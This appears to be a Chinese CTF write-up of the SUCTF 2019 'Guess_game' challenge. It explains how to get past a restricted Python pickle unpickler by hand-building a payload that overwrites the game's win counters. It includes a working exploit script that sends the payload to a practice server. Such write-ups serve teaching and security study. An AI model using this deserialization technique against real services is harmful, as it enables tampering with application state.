User-Profile-Image
hankin
  • 5
请到[后台->外观->菜单]中设置菜单。
  • 分类
    • 靶机渗透
    • 计算机小技巧
    • 漏洞复现
    • 未分类
    • 数据结构
    • 内网渗透
    • 代码审计
    • XSS
    • WEB安全漏洞学习
    • Web
    • python
    • PHP
    • NodeJS
    • MYSQL
    • Misc
    • JavaScript
    • Docker
    • CTF相关知识点
    • CTFWP
    • Crypto
    • Cobalt Strike
  • 页面
  • 友链
    • 三哥的博客
    • Root师傅的博客
    • EDS师傅的博客
    • 天正哥的博客
    • 天尘翼师傅的博客
    • 熵增师傅的github
    • 信仰的博客
    • Jadore的博客
Help?

Please contact us on our email for need any support

Support
    首页   ›   CTFWP   ›   正文
CTFWP

SUCTF 2019 Guess_game

2021-01-24 17:33:50
128  0 0
Text.
Text.

该题在BUU上有复现环境,是一道MISC题,但考点涉及了python pickle反序列化

这是一道猜数游戏,10 以内的数字,猜对十次就返回 flag。源码如下:

https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game

# file: Ticket.py
class Ticket:
    def __init__(self, number):
        self.number = number
    def __eq__(self, other):
        if type(self) == type(other) and self.number == other.number:
            return True
        else:
            return False
    def is_valid(self):
        assert type(self.number) == int
​
        if number_range >= self.number >= 0:
            return True
        else:
            return False
       
# file: game_client.py(关键部分代码)
number = input('Input the number you guess\n> ')
ticket = Ticket(number)
ticket = pickle.dumps(ticket)
writer.write(pack_length(len(ticket)))
writer.write(ticket)

client 端接收数字输入,生成的 Ticket 对象序列化后发送给 server 端。

# file: game_server.py 有删减
from guess_game.Ticket import Ticket
from guess_game.RestrictedUnpickler import restricted_loads
from struct import unpack
from guess_game import game
import sys
​
while not game.finished():
    ticket = stdin_read(length)
    ticket = restricted_loads(ticket)
​
    assert type(ticket) == Ticket
​
    if not ticket.is_valid():
        print('The number is invalid.')
        game.next_game(Ticket(-1))
        continue
​
    win = game.next_game(ticket)
    if win:
        text = "Congratulations, you get the right number!"
    else:
        text = "Wrong number, better luck next time."
    print(text)
​
    if game.is_win():
        text = "Game over! You win all the rounds, here is your flag %s" % flag
    else:
        text = "Game over! You got %d/%d." % (game.win_count, game.round_count)
    print(text)
​
# file: RestrictedUnpickler.py  对引入的模块进行检测
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # Only allow safe classes
        if "guess_game" == module[0:10] and "__" not in name:
            return getattr(sys.modules[module], name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

server 端将接收到的数据进行反序列,这里与常规的 pickle.loads 不同,采用的是 Python 提供的安全措施。也就是说,导入的模块只能以 guess_name 开头,并且名称里不能含有 __

查看猜对条件,可以看出就是判断ticket.number是否相等,相等就使 win_count+1(game.py)

Ticket.py

查看胜利条件,意思是胜利次数==最大轮数,而最大轮数是10,所以就是要全胜

Game.py

而max_round和number_range定义在__init__.py里了

所以捋一下思路:我们的目的可以让win_count=10,round_count=10满足条件

手动构造

cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb

其中,} 是往 stack 中压入一个空 dict,s 是将键值对插入到 dict。但是到这里还没有做完,题目代码中还有一个小验证,assert type(ticket) == Ticket。

pickle 序列流执行完后将把栈顶的值返回,结尾需要再留一个 Ticket 的对象

import pickle
class Ticket:
    def __init__(self, number):
        self.number = number

    def __eq__(self, other):
        if type(self) == type(other) and self.number == other.number:
            return True
        else:
            return False

    def is_valid(self):
        assert type(self.number) == int

        if max_round >= self.number >= 0:
            return True
        else:
            return False
ticket = Ticket(6)
res = pickle.dumps(ticket)  # 这里不能再用 0 号协议,否则会出现 ccopy_reg\n_reconstructor
print(res)
#b'\x80\x03c__main__\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sb.'

最后再拼接一个Ticket序列化对象,exp如下

import pickle
import socket
import struct
s = socket.socket()
# s.connect(('172.17.0.2', 9999))
s.connect(('node3.buuoj.cn', 25439))
exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x01sb.
'''
s.send(struct.pack('>I', len(exp)))
s.send(exp)
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))

​

 

文章参考

https://www.anquanke.com/post/id/188981#h3-12

https://cloud.tencent.com/developer/article/1523852

评论 (0)

点击这里取消回复。

欢迎您 游客  

近期文章
  • 免杀QuasarRAT
  • 密码保护:python反序列化免杀上线CS
  • Hgame2021
  • Shiro反序列化漏洞复现
  • 密码保护:2020祥云杯决赛AWD赛题复盘
近期评论
    文章归档
    • 2021年2月
    • 2021年1月
    • 2020年12月
    • 2020年11月
    • 2020年9月
    • 2020年7月
    • 2020年6月
    • 2020年5月
    • 2020年4月
    • 2020年3月
    • 2020年2月
    • 2020年1月
    分类目录
    • Cobalt Strike
    • Crypto
    • CTFWP
    • CTF相关知识点
    • Docker
    • JavaScript
    • Misc
    • MYSQL
    • NodeJS
    • PHP
    • python
    • Web
    • WEB安全漏洞学习
    • XSS
    • 代码审计
    • 内网渗透
    • 数据结构
    • 未分类
    • 漏洞复现
    • 计算机小技巧
    • 靶机渗透
    功能
    • 登录
    • 条目feed
    • 评论feed
    • WordPress.org
    分类目录
    Copyright © 2021 网站备案号: 蒙ICP备20000552号-1
    smarty_hankin 主题. Designed by hankin
    主页
    页面
    博主
    purplet 管理员
    努力并有所方向
    167 文章 0 评论 34740 浏览
    测试
    测试